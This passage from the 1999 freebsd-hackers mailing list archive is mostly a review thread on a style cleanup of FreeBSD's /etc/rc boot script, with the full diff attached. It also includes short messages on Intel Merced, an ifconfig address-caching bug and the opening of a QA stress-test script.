27 Aug 1999 10:44:01 -0600 Message-Id: <199908271644.KAA24087@mt.sri.com> From: Nate Williams MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit To: freebsd-hackers@FreeBSD.ORG Subject: Re: Please review: rc file changes In-Reply-To: <199908271052.MAA02639@dorifer.heim3.tu-clausthal.de> References: <199908271052.MAA02639@dorifer.heim3.tu-clausthal.de> X-Mailer: VM 6.34 under 19.16 "Lille" XEmacs Lucid Reply-To: nate@mt.sri.com (Nate Williams) Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG > > [...] > > 2. value ) instead of value) for case statements > > [...] > > case $? in > > - 0) > > + 0 ) > > ;; > > - 2) > > + 2 ) > > exit 1 > > ;; > > - 4) > > + 4 ) > > reboot > > echo "reboot failed... help!" > > exit 1 > > ;; > > [...] > > Why?!? I like the existing "case" style _much_ better, > it's more readable and emphasizes the structure. And it is more conformant to 'style(9)', which says that the case statements line up with the switch statement. (Although that's for C code, in this case I believe the sh code can be compliant indirectly...) Nate To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Fri Aug 27 9:54:26 1999 Delivered-To: freebsd-hackers@freebsd.org Received: from robson.Bluesoft.ca (robson.bluesoft.ca [209.53.249.45]) by hub.freebsd.org (Postfix) with ESMTP id 4587914CFA for ; Fri, 27 Aug 1999 09:54:20 -0700 (PDT) (envelope-from JustinC@bluestream.com) Received: from zambezi ([209.53.249.171]) by robson.Bluesoft.ca (Post.Office MTA v3.5 release 215 ID# 0-53953U200L2S100V35) with SMTP id ca for ; Sat, 27 Aug 2022 09:59:05 -0700 Message-ID: <002001bef0ac$7633f3f0$abf935d1@bluestream.com> Reply-To: "Justin Chen" From: JustinC@bluestream.com (Bluestream - Justin Chen) To: Subject: Date: Fri, 27 Aug 1999 09:51:51 -0700 MIME-Version: 1.0 Content-Type: multipart/alternative; boundary="----=_NextPart_000_001D_01BEF071.C9AA6270" X-Priority: 3 X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook Express 5.00.2314.1300 X-MimeOLE: Produced By Microsoft MimeOLE V5.00.2314.1300 Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG This is a multi-part message in MIME format. ------=_NextPart_000_001D_01BEF071.C9AA6270 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: quoted-printable subscribe ------=_NextPart_000_001D_01BEF071.C9AA6270 Content-Type: text/html; charset="iso-8859-1" Content-Transfer-Encoding: quoted-printable
subscribe
------=_NextPart_000_001D_01BEF071.C9AA6270-- To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Fri Aug 27 9:59:29 1999 Delivered-To: freebsd-hackers@freebsd.org Received: from dt011n65.san.rr.com (dt010nb9.san.rr.com [204.210.12.185]) by hub.freebsd.org (Postfix) with ESMTP id 30D1114CCF for ; Fri, 27 Aug 1999 09:59:14 -0700 (PDT) (envelope-from Doug@gorean.org) Received: from gorean.org (master [10.0.0.2]) by dt011n65.san.rr.com (8.9.3/8.8.8) with ESMTP id JAA71574 for ; Fri, 27 Aug 1999 09:57:05 -0700 (PDT) (envelope-from Doug@gorean.org) Message-ID: <37C6C364.EA3769CB@gorean.org> Date: Fri, 27 Aug 1999 09:57:08 -0700 From: Doug Organization: Triborough Bridge & Tunnel Authority X-Mailer: Mozilla 4.61 [en] (X11; U; FreeBSD 4.0-CURRENT-0826 i386) X-Accept-Language: en MIME-Version: 1.0 To: freebsd-hackers@freebsd.org Subject: Re: Please review: rc file changes References: <37C63094.8350A91B@gorean.org> Content-Type: multipart/mixed; boundary="------------1A0A0395E93438FADF6CBC6E" Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG This is a multi-part message in MIME format. --------------1A0A0395E93438FADF6CBC6E Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Doug wrote: > > Greetings, > > As previously discussed, here is a first draft of the rc* script mods. I > consider the first step in this process to be Jordan's cleanup of the > variable syntax. This is step 2, which most notably converts test's dealing > with variables to case wherever possible. It also does the following. > > 1. -f -> -r wherever it makes sense > 2. value ) instead of value) for case statements > 3. All cases of [, test, ; then, etc. converted to: > > if [ blah ]; then > > 4. Made > # Comment > # > commands more consistent > > 5. Stripped whitespace off the end of a few lines > > The attached diff is to rc, and was generated with -ubB to ease > understanding of the substantive changes. You can view the actual file at > http://gorean.org/rc. I would appreciate y'all reviewing these changes for > style, substance, or anything else relevant to the matter at hand. My hope > is that any modifications can be discussed prior to my doing the rest of > the work, which I plan to tackle this weekend. There are also a few > questions sprinkled into the file, comments or suggestions on those are > welcome. > > This version of the file is tested lightly, which is to say that I > booted with it after my upgrade to the most recent sources on -current tonight. > Obviously more rigorous testing will be necessary before this gets > committed, although the changes are extremely straightforward. > > Questions: > > 1. Under what circumstances would $early_nfs_mounts be set? The only > mention of this variable that I could find is in /etc/rc, and I can't see > where it would be set. > > 2. Do we want to move to 'logger' instead of echo for the various little > statements in the rc* files during boot? I for one would highly recommend > this change, since it makes remote administration TONS easier. However the > last time it came up I seem to remember it being one of those "religious" > issues... > > 3. Anything else I should be looking at in this phase of the game? Ok, revised diff attached. I made the case indentation change and some of sheldon's suggestions are incorporated. I also neglected to mention previously that I tuned up a few of the comments in the file, as well as error output. I also was more rigorous about making whitespace consisten on this pass. Removing double spaces, converting spaces to tabs, etc. This is much more like what I want the final version to look like. All of the above still applies, except that due to the more "normal" indentation a straight diff -u is more readable. Assuming this works for everyone, I will proceed with the other rc*, etc. scripts, except rc.network which sheldon informed me he is currently working on. Doug --------------1A0A0395E93438FADF6CBC6E Content-Type: text/plain; charset=us-ascii; name="rc.diff" Content-Transfer-Encoding: 7bit Content-Disposition: inline; filename="rc.diff" --- /usr/src/etc/rc Thu Aug 26 20:56:36 1999 +++ rc Fri Aug 27 09:52:39 1999 @@ -8,24 +8,25 @@ # and the console is the controlling terminal. # Note that almost all the user-configurable behavior is no longer in -# this file, but rather in /etc/defaults/rc.conf. Please check this file +# this file, but rather in /etc/defaults/rc.conf. Please check that file # first before contemplating any changes here. stty status '^T' # Set shell to ignore SIGINT (2), but not children; # shell catches SIGQUIT (3) and returns to single user after fsck. +# trap : 2 trap : 3 # shouldn't be needed -HOME=/; export HOME +HOME=/ PATH=/sbin:/bin:/usr/sbin:/usr/bin:/usr/local/sbin -export PATH +export HOME PATH -# BOOTP diskless boot. We have to run the rc file early in order to +# BOOTP diskless boot. We have to run the rc file early in order to # retarget various config files. # -if [ -f /etc/rc.diskless1 ]; then +if [ -r /etc/rc.diskless1 ]; then dlv=`/sbin/sysctl -n vfs.nfs.diskless_valid 2> /dev/null` if [ ${dlv:=0} != 0 ]; then . /etc/rc.diskless1 @@ -34,59 +35,68 @@ # If there is a global system configuration file, suck it in. # -if [ -f /etc/defaults/rc.conf ]; then +if [ -r /etc/defaults/rc.conf ]; then . /etc/defaults/rc.conf -elif [ -f /etc/rc.conf ]; then +elif [ -r /etc/rc.conf ]; then . /etc/rc.conf fi # Configure ccd devices. -if [ -f /etc/ccd.conf ]; then +# +if [ -r /etc/ccd.conf ]; then ccdconfig -C fi -if [ "${start_vinum}" = "YES" ]; then +case ${start_vinum} in +[Yy][Ee][Ss] ) vinum start -elif [ -n "${vinum_drives}" ]; then - vinum read ${vinum_drives} -fi + ;; +* ) + if [ -n "${vinum_drives}" ]; then + vinum read ${vinum_drives} + fi + ;; +esac swapon -a -if [ "$1" = "autoboot" ]; then +case $1 in +autoboot ) echo Automatic reboot in progress... fsck -p case $? in - 0) + 0 ) ;; - 2) + 2 ) exit 1 ;; - 4) + 4 ) reboot echo "reboot failed... help!" exit 1 ;; - 8) + 8 ) echo "Automatic file system check failed... help!" exit 1 ;; - 12) + 12 ) echo "Reboot interrupted" exit 1 ;; - 130) + 130 ) # interrupt before catcher installed exit 1 ;; - *) + * ) echo "Unknown error in reboot" exit 1 ;; esac -else + ;; +* ) echo Skipping disk checks ... -fi + ;; +esac set -T trap "echo 'Reboot interrupted'; exit 1" 3 @@ -94,35 +104,49 @@ # root normally must be read/write, but if this is a BOOTP NFS # diskless boot it does not have to be. # - -if [ "${root_rw_mount}" != "NO" ]; then +case ${root_rw_mount} in +[Nn][Oo] ) + ;; +* ) mount -u -o rw / -fi + ;; +esac -if [ $? != 0 ]; then - echo "Filesystem mount failed, startup aborted" +case $? in +0 ) + ;; +* ) + echo "Mounting root filesystem rw failed, startup aborted" exit 1 -fi + ;; +esac umount -a >/dev/null 2>&1 -if [ "${early_nfs_mounts}" != "YES" ]; then - mount -a -t nonfs -else +# Where/how would this get set? +# +case ${early_nfs_mounts} in +[Yy][Ee][Ss] ) mount -a -fi -if [ $? != 0 ]; then - echo "Filesystem mount failed, startup aborted" + ;; +* ) + mount -a -t nonfs + ;; +esac + +case $? in +0 ) + ;; +* ) + echo "Mounting /etc/fstab filesystems failed, startup aborted" exit 1 -fi + ;; +esac # Run custom disk mounting function here # - -if [ -n "${diskless_mount}" ]; then - if [ -f "${diskless_mount}" ]; then +if [ -n "${diskless_mount}" -a -r "${diskless_mount}" ]; then sh ${diskless_mount} - fi fi adjkerntz -i @@ -148,66 +172,81 @@ fi # Add additional swapfile, if configured. -if [ "${swapfile}" != "NO" -a -w "${swapfile}" -a -b /dev/vn0b ]; then - echo "Adding ${swapfile} as additional swap." - vnconfig /dev/vn0b ${swapfile} && swapon /dev/vn0b -fi +# +case ${swapfile} in +[Nn][Oo] ) + ;; +* ) + if [ -w "${swapfile}" -a -b /dev/vn0b ]; then + echo "Adding ${swapfile} as additional swap." + vnconfig /dev/vn0b ${swapfile} && swapon /dev/vn0b + fi + ;; +esac -# set sysctl variables early as we can -if [ -f /etc/rc.sysctl ]; then +# Set sysctl variables as early as we can +# +if [ -r /etc/rc.sysctl ]; then . /etc/rc.sysctl fi -# configure serial devices -if [ -f /etc/rc.serial ]; then +# Configure serial devices +# +if [ -r /etc/rc.serial ]; then . /etc/rc.serial fi -# start up PC-card configuration -if [ -f /etc/rc.pccard ]; then +# Start up PC-card configuration +# +if [ -r /etc/rc.pccard ]; then . /etc/rc.pccard fi -# start up the initial network configuration. -if [ -f /etc/rc.network ]; then +# Start up the initial network configuration. +# +if [ -r /etc/rc.network ]; then . /etc/rc.network # We only need to do this once. network_pass1 fi +# Retest for early_nfs here? +# echo -n "Mounting NFS file systems" mount -a -t nfs echo . # Whack the pty perms back into shape. +# chflags 0 /dev/tty[pqrsPQRS]* chmod 666 /dev/tty[pqrsPQRS]* chown root:wheel /dev/tty[pqrsPQRS]* -# clean up left-over files +# Clean up left-over files +# clean_var # If it hasn't already been done rm /var/run/clean_var -# -# Clearing /tmp at boot-time seems to have a long tradition. It doesn't +# Clearing /tmp at boot-time seems to have a long tradition. It doesn't # help in any way for long-living systems, and it might accidentally # clobber files you would rather like to have preserved after a crash # (if not using mfs /tmp anyway). # # See also the example of another cleanup policy in /etc/periodic/daily. # -if [ "${clear_tmp_enable}" = "YES" ]; then +case ${clear_tmp_enable} in +[Yy][Ee][Ss] ) echo clearing /tmp - # prune quickly with one rm, then use find to clean up /tmp/[lq]* # (not needed with mfs /tmp, but doesn't hurt there...) (cd /tmp && rm -rf [a-km-pr-zA-Z]* && - find -d . ! -name . ! -name lost+found ! -name quota.user \ - ! -name quota.group -exec rm -rf -- {} \;) - -fi + find -d . ! -name . ! -name lost+found ! -name quota.user \ + ! -name quota.group -exec rm -rf -- {} \;) + ;; +esac -# Remove X lock files, since they will prevent you from restarting X11 +# Remove X lock files, since they will prevent you from restarting X11 # after a system crash. +# rm -f /tmp/.X*-lock /tmp/.X11-unix/* # snapshot any kernel -c changes back to disk here @@ -217,78 +256,97 @@ # start system logging and name service (named needs to start before syslogd # if you don't have a /etc/resolv.conf) # -if [ "${syslogd_enable}" = "YES" ]; then +case ${syslogd_enable} in +[Yy][Ee][Ss] ) # Transitional symlink (for the next couple of years :) until all - # binaries had a chance to move towards /var/run/log. + # binaries have had a chance to move towards /var/run/log. if [ ! -h /dev/log ] ; then # might complain for r/o root f/s ln -sf /var/run/log /dev/log fi rm -f /var/run/log - echo -n ' syslogd'; syslogd ${syslogd_flags} -fi + echo -n ' syslogd'; syslogd ${syslogd_flags} + ;; +esac + echo '.' # enable dumpdev so that savecore can see it # /var/crash should be a directory or a symbolic link # to the crash directory if core dumps are to be saved. -if [ "${dumpdev}" != "NO" -a -e ${dumpdev} -a -d /var/crash ]; then - dumpon ${dumpdev} - echo -n checking for core dump... - savecore /var/crash -fi +# +case ${dumpdev} in +[Nn][Oo] ) + ;; +* ) + if [ -e ${dumpdev} -a -d /var/crash ]; then + dumpon ${dumpdev} + echo -n checking for core dump... + savecore /var/crash + fi + ;; +esac if [ -n "${network_pass1_done}" ]; then network_pass2 fi # Enable/Check the quotas (must be after ypbind if using NIS) -if [ "${enable_quotas}" = "YES" ]; then +# +case ${enable_quotas} in +[Yy][Ee][Ss] ) + case ${check_quotas} in + [Yy][Ee][Ss] ) + echo -n 'checking quotas:' + quotacheck -a + echo ' done.' + ;; + esac - # Only check quotas if they have been previously enabled, and requested - if [ "${check_quotas}" = "YES" ]; then - echo -n 'checking quotas:' - quotacheck -a - echo ' done.' - fi - - echo -n 'enabling quotas:' - quotaon -a - echo ' done.' -fi + echo -n 'enabling quotas:' + quotaon -a + echo ' done.' + ;; +esac if [ -n "${network_pass2_done}" ]; then network_pass3 fi -# build ps databases -kvm_mkdb +# Build ps databases +# +kvm_mkdb dev_mkdb -# check the password temp/lock file -if [ -f /etc/ptmp ] -then +# Check the password temp/lock file +# +if [ -e /etc/ptmp ]; then logger -s -p auth.err \ "password file may be incorrect -- /etc/ptmp exists" fi -if [ "${accounting_enable}" = "YES" -a -d /var/account ]; then - echo 'turning on accounting' - if [ ! -e /var/account/acct ]; then - touch /var/account/acct +case ${accounting_enable} in +[Yy][Ee][Ss] ) + if [ -d /var/account ]; then + echo 'turning on accounting' + if [ ! -e /var/account/acct ]; then + touch /var/account/acct + fi + accton /var/account/acct fi - accton /var/account/acct -fi + ;; +esac -# Make shared lib searching a little faster. Leave /usr/lib first if you +# Make shared lib searching a little faster. Leave /usr/lib first if you # add your own entries or you may come to grief. +# if [ -x /sbin/ldconfig ]; then if [ "`/usr/bin/objformat`" = "elf" ]; then _LDC=/usr/lib for i in ${ldconfig_paths}; do - if test -d ${i}; then + if [ -d ${i} ]; then _LDC="${_LDC} ${i}" fi done @@ -302,7 +360,7 @@ : ${ldconfig_paths_aout=${ldconfig_paths}} _LDC=/usr/lib/aout for i in ${ldconfig_paths_aout}; do - if test -d ${i}; then + if [ -d ${i} ]; then _LDC="${_LDC} ${i}" fi done @@ -314,47 +372,65 @@ # Now start up miscellaneous daemons that don't belong anywhere else # echo -n starting standard daemons: -if [ "${inetd_enable}" != "NO" ]; then +case ${inetd_enable} in +[Nn][Oo] ) + ;; +* ) echo -n ' inetd'; inetd ${inetd_flags} -fi + ;; +esac -if [ "${cron_enable}" != "NO" ]; then +case ${cron_enable} in +[Nn][Oo] ) + ;; +* ) echo -n ' cron'; cron -fi + ;; +esac -if [ "${lpd_enable}" = "YES" ]; then - echo -n ' printer'; ${lpd_program} ${lpd_flags} -fi - -if [ "${sendmail_enable}" = "YES" -a -r /etc/sendmail.cf ]; then - echo -n ' sendmail'; /usr/sbin/sendmail ${sendmail_flags} -fi +case ${lpd_enable} in +[Yy][Ee][Ss] ) + echo -n ' printer'; ${lpd_program} ${lpd_flags} + ;; +esac + +case ${sendmail_enable} in +[Yy][Ee][Ss] ) + if [ -r /etc/sendmail.cf ]; then + echo -n ' sendmail'; /usr/sbin/sendmail ${sendmail_flags} + fi + ;; +esac -if [ "${usbd_enable}" = "YES" ]; then +case ${usbd_enable} in +[Yy][Ee][Ss] ) echo -n ' usbd'; /usr/sbin/usbd ${usbd_flags} -fi + ;; +esac echo '.' -# configure implementation specific stuff +# Configure implementation specific stuff +# arch=`uname -m` -if [ -f /etc/rc.${arch} ]; then +if [ -r /etc/rc.${arch} ]; then . /etc/rc.${arch} fi # Recover vi editor files. +# vibackup=`echo /var/tmp/vi.recover/vi.*` if [ "${vibackup}" != '/var/tmp/vi.recover/vi.*' ]; then echo 'Recovering vi editor sessions' for i in ${vibackup}; do # Only test files that are readable. - if test ! -r ${i}; then + if [ ! -r ${i} ]; then continue fi # Unmodified nvi editor backup files either have the - # execute bit set or are zero length. Delete them. - if test -x ${i} -o ! -s ${i}; then + # execute bit set or are zero length. Delete them. + if [ -x ${i} -o ! -s ${i} ]; then rm -f ${i} fi done @@ -365,7 +441,7 @@ if [ "${virecovery}" != "/var/tmp/vi.recover/recover.*" ]; then for i in ${virecovery}; do # Only test files that are readable. - if test ! -r ${i}; then + if [ ! -r ${i} ]; then continue fi @@ -373,7 +449,7 @@ # corrupted, or that have no corresponding backup file. # Else send mail to the user. recfile=`awk '/^X-vi-recover-path:/{print $2}' < ${i}` - if test -n "${recfile}" -a -s "${recfile}"; then + if [ -n "${recfile}" -a -s "${recfile}" ]; then sendmail -t < ${i} else rm -f ${i} @@ -382,26 +458,40 @@ fi fi -# make a bounds file for msgs(1) if there isn't one already +# Make a bounds file for msgs(1) if there isn't one already +# "Delete important files with symlink" security hole? +# if [ ! -f /var/msgs/bounds ]; then echo 0 > /var/msgs/bounds fi -# for each valid dir in $local_startup, search for init scripts matching *.sh -if [ "${local_startup}" != "NO" ]; then +# For each valid dir in $local_startup, search for init scripts matching *.sh +# +case ${local_startup} in +[Nn][Oo] ) + ;; +* ) echo -n 'Local package initialization:' for dir in ${local_startup}; do - [ -d ${dir} ] && for script in ${dir}/*.sh; do - [ -x ${script} ] && \ + if [ -d ${dir} ]; then + for script in ${dir}/*.sh; do + if [ -x ${script} ]; then (set -T ; trap 'exit 1' 2 ; ${script} start) - done + fi + done + fi done echo . -fi + ;; +esac -if [ "${update_motd}" != "NO" ]; then +case ${update_motd} in +[Nn][Oo] ) + ;; +* ) T=`mktemp /tmp/_motd.XXXXXX` - if [ $? -eq 0 ]; then + case $? in + 0 ) uname -v | sed -e 's,^\([^#]*\) #\(.* [1-2][0-9][0-9][0-9]\).*/\([^\]*\) $,\1 (\3) #\2,' > ${T} awk '{if (NR == 1) {if ($1 == "FreeBSD") {next} else {print "\n"$0}} else {print}}' < /etc/motd >> ${T} cmp -s ${T} /etc/motd || { @@ -409,39 +499,48 @@ chmod 644 /etc/motd } rm -f ${T} - fi -fi + ;; + esac + ;; +esac -# Run rc.devfs if present to customize devfs -[ -f /etc/rc.devfs ] && sh /etc/rc.devfs +# Run rc.devfs if readable to customize devfs +# +if [ -r /etc/rc.devfs ]; then + sh /etc/rc.devfs +fi -# Do traditional (but rather obsolete) rc.local file if it exists. If you +# Do traditional (but rather obsolete) rc.local file if it exists. If you # use this file and want to make it programmatic, source /etc/defaults/rc.conf # in /etc/rc.local and add your custom variables to /etc/rc.conf, as -# shown below. Please do not put local extensions into /etc/rc itself. +# shown below. Please do not put local extensions into /etc/rc itself. # Use /etc/rc.local # -# ---- rc.local ---- -# if [ -f /etc/defaults/rc.conf ]; then -# . /etc/defaults/rc.conf -# fi -# -# ... additional startup conditionals ... -# ---- rc.local ---- -# -if [ -f /etc/rc.local ]; then +# ---- rc.local ---- +# if [ -r /etc/defaults/rc.conf ]; then +# . /etc/defaults/rc.conf +# fi +# +# ... additional startup conditionals ... +# ---- rc.local ---- +# +if [ -r /etc/rc.local ]; then echo -n 'starting local daemons:' - sh /etc/rc.local + sh /etc/rc.local echo '.' fi -# Raise kernel security level. This should be done only after `fsck' has +# Raise kernel security level. This should be done only after `fsck' has # repaired local file systems if you want the securelevel to be greater than 1. -if [ "${kern_securelevel_enable}" = "YES" -a "${kern_securelevel}" -ge 0 ]; -then - echo 'Raising kernel security level' - sysctl -w kern.securelevel=${kern_securelevel} -fi +# +case ${kern_securelevel_enable} in +[Yy][Ee][Ss] ) + if [ "${kern_securelevel}" -ge 0 ]; then + echo 'Raising kernel security level' + sysctl -w kern.securelevel=${kern_securelevel} + fi + ;; +esac date exit 0 --------------1A0A0395E93438FADF6CBC6E-- To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Fri Aug 27 10: 5:57 1999 Delivered-To: freebsd-hackers@freebsd.org Received: from ns.mt.sri.com (ns.mt.sri.com [206.127.79.91]) by hub.freebsd.org (Postfix) with ESMTP id 043C515505 for ; Fri, 27 Aug 1999 10:05:54 -0700 (PDT) (envelope-from nate@mt.sri.com) Received: from mt.sri.com (rocky.mt.sri.com [206.127.76.100]) by ns.mt.sri.com (8.8.8/8.8.8) with SMTP id LAA07816; Fri, 27 Aug 1999 11:05:09 -0600 (MDT) (envelope-from nate@rocky.mt.sri.com) Received: by mt.sri.com (SMI-8.6/SMI-SVR4) id LAA24405; Fri, 27 Aug 1999 11:05:08 -0600 Date: Fri, 27 Aug 1999 11:05:08 -0600 Message-Id: <199908271705.LAA24405@mt.sri.com> From: Nate Williams MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit To: Doug Cc: freebsd-hackers@FreeBSD.ORG Subject: Re: Please review: rc file changes In-Reply-To: <37C6C364.EA3769CB@gorean.org> References: <37C63094.8350A91B@gorean.org> <37C6C364.EA3769CB@gorean.org> X-Mailer: VM 6.34 under 19.16 "Lille" XEmacs Lucid Reply-To: nate@mt.sri.com (Nate Williams) Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG [ I'm nit-picking here, feel free to ignore.... ] > Doug--- /usr/src/etc/rc Thu Aug 26 20:56:36 1999 > +++ rc Fri Aug 27 09:52:39 1999 > @@ -8,24 +8,25 @@ > # and the console is the controlling terminal. > > # Note that almost all the user-configurable behavior is no longer in > -# this file, but rather in /etc/defaults/rc.conf. Please check this file > +# this file, but rather in /etc/defaults/rc.conf. Please check that file > # first before contemplating any changes here. > Sentences are supposed to have two spaces before you start the next sentence. Thanks for doing this! Nate To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Fri Aug 27 10: 6:52 1999 Delivered-To: freebsd-hackers@freebsd.org Received: from picnic.mat.net (picnic.mat.net [206.246.122.133]) by hub.freebsd.org (Postfix) with ESMTP id 0E3E915F6C; Fri, 27 Aug 1999 10:06:12 -0700 (PDT) (envelope-from chuckr@picnic.mat.net) Received: from localhost (chuckr@localhost) by picnic.mat.net (8.9.3/8.9.3) with ESMTP id NAA11635; Fri, 27 Aug 1999 13:04:02 -0400 (EDT) (envelope-from chuckr@picnic.mat.net) Date: Fri, 27 Aug 1999 13:04:02 -0400 (EDT) From: Chuck Robey To: Kenny Drobnack Cc: freebsd-hackers@FreeBSD.ORG, freebsd-questions@FreeBSD.ORG Subject: Re: Intel Merced FreeBSD??? In-Reply-To: Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG On Thu, 26 Aug 1999, Kenny Drobnack wrote: > Lately i have seen a lot of speculation as to what will happen when the > Intel Merced comes out. Will people wait 12-18 months for a 64 bit > Windows (that's the amount of time I keep hearing it will take them to get > Win2000 running on it) or will they just buy it and pop Linux onto it > right away? If the majority of the people opt for option #2, it may mean > Linux will finally get a huge edge over M$! > While Linux is a great OS, and I like seeing M$ have some > problems, I would even more like to have the assurance of being able to > run FreeBSD on 64 bit architecture. Is there any port planned to that > system? Has anyone even mention it? Also, will the lib/compat end up > having a linux32 and a linux64 directory so it can run both old Linux apps > and new? Merced is and has been the source of incredible amounts of fud. Your assertion that Merced has just shown up on the radarscreen is a little short ... it's been promised my Intel for a long while now, more than 2 years, and it gets increasingly difficult to believe even the littlest bit of stuff that Intel promises, least of which are their dates. Absolutely no speculation on Merced is in the least bit worthwhile. If you need 64 bit stuff, both FreeBSD and Linux run on the Alpha, and work fine. Go take a look at that, it's exciting and it's TODAY. > > ----- > > We are now the Knights who say... > "Ekki-Ekki-Ekki-Ekki-PTANG! Zoom-Boing! Z'nourrwringmm!" > > ---- > > > > To Unsubscribe: send mail to majordomo@FreeBSD.org > with "unsubscribe freebsd-hackers" in the body of the message > ---------------------------+----------------------------------------------- Chuck Robey | Interests include any kind of voice or data chuckr@picnic.mat.net | communications topic, C programming, and Unix. 213 Lakeside Drive Apt T-1 | Greenbelt, MD 20770 | picnic.mat.net: FreeBSD/i386 (301) 220-2114 | jaunt.mat.net : FreeBSD/Alpha ---------------------------+----------------------------------------------- To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Fri Aug 27 10:45:15 1999 Delivered-To: freebsd-hackers@freebsd.org Received: from etinc.com (et-gw.etinc.com [207.252.1.2]) by hub.freebsd.org (Postfix) with ESMTP id D1E22152C6 for ; Fri, 27 Aug 1999 10:45:10 -0700 (PDT) (envelope-from dennis@etinc.com) Received: from dbsys (dbsys.etinc.com [207.252.1.18]) by etinc.com (8.9.3/8.9.3) with SMTP id NAA03575 for ; Fri, 27 Aug 1999 13:40:44 -0400 (EDT) Message-Id: <199908271740.NAA03575@etinc.com> X-Sender: dennis@etinc.com (Unverified) X-Mailer: QUALCOMM Windows Eudora Pro Version 4.0 Date: Fri, 27 Aug 1999 12:34:51 -0400 To: hackers@freebsd.org From: Dennis Subject: IP address caching bug? Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG It seems that an interface configured with an address, which is then deleted, and then set to a different address on the same network, the machine continues to use the original address although all evidence of it is gone. examples. ifconfig fxp0 207.252.1.31 netmask 255.255.255.0 ping something,and the .31 address is sent out. ifconfig fxp0 delete ifconfig ftp0 207.252.1.60 netmask 255.255.255.0 ping something, and the .31 address is still sent! something is cached somewhere, because ifconfig and route show the correct entries. Dennis To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Fri Aug 27 10:57:16 1999 Delivered-To: freebsd-hackers@freebsd.org Received: from pop3-3.enteract.com (pop3-3.enteract.com [207.229.143.32]) by hub.freebsd.org (Postfix) with SMTP id 1712515573 for ; Fri, 27 Aug 1999 10:57:14 -0700 (PDT) (envelope-from dscheidt@enteract.com) Received: (qmail 9979 invoked from network); 27 Aug 1999 17:55:33 -0000 Received: from shell-1.enteract.com (dscheidt@207.229.143.40) by pop3-3.enteract.com with SMTP; 27 Aug 1999 17:55:33 -0000 Date: Fri, 27 Aug 1999 12:55:33 -0500 (CDT) From: David Scheidt To: Doug Cc: freebsd-hackers@freebsd.org Subject: Re: Please review: rc file changes In-Reply-To: <37C6C364.EA3769CB@gorean.org> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG On Fri, 27 Aug 1999, Doug wrote: > > Ok, revised diff attached. I made the case indentation change and some of > sheldon's suggestions are incorporated. I also neglected to mention > previously that I tuned up a few of the comments in the file, as well as > error output. I also was more rigorous about making whitespace consisten on > this pass. Removing double spaces, converting spaces to tabs, etc. This is Why only one space after full stops? I find two much more readable. In general though, I like the case insensitivity and the -r v. -f. David To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Fri Aug 27 11:16:33 1999 Delivered-To: freebsd-hackers@freebsd.org Received: from feral.com (feral.com [192.67.166.1]) by hub.freebsd.org (Postfix) with ESMTP id 56B0314F10 for ; Fri, 27 Aug 1999 11:16:10 -0700 (PDT) (envelope-from mjacob@feral.com) Received: from semuta.feral.com (semuta [192.67.166.70]) by feral.com (8.8.7/8.8.7) with ESMTP id LAA31869; Fri, 27 Aug 1999 11:13:30 -0700 Date: Fri, 27 Aug 1999 11:13:29 -0700 (PDT) From: Matthew Jacob Reply-To: mjacob@feral.com To: Brian McGovern Cc: hackers@FreeBSD.ORG Subject: Re: Looking for good QA tests... Part 1.. In-Reply-To: <199908261747.NAA00420@bmcgover-pc.cisco.com> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG A bit of cleanup and filing off of serial numbers, etc... test script && c program... very stupid test, except that in large doses brings systems to their knees and very much exercises buffer ownership issues. The test looks too stupid to catch things, but believe me, it does. #!/bin/sh # # Copyright (c) 1999 Matthew Jacob # All rights reserved. # # Redistribution and use in source and binary forms, with or without # modification, are permitted provided that the following conditions # are met: # 1. Redistributions of source code must retain the above copyright # notice, this list of conditions, and the following disclaimer, # without modification, immediately at the beginning of the file. # 2. The name of the author may not be used to endorse or promote products # derived from this software without specific prior written permission. # # THIS SOFTWARE IS PROVIDED BY THE AUTHOR AND CONTRIBUTORS ``AS IS'' AND # ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE # IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE # ARE DISCLAIMED. IN NO EVENT SHALL THE AUTHOR OR CONTRIBUTORS BE LIABLE FOR # ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL # DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS # OR SERVICES; LOSS OF USE, DATA, 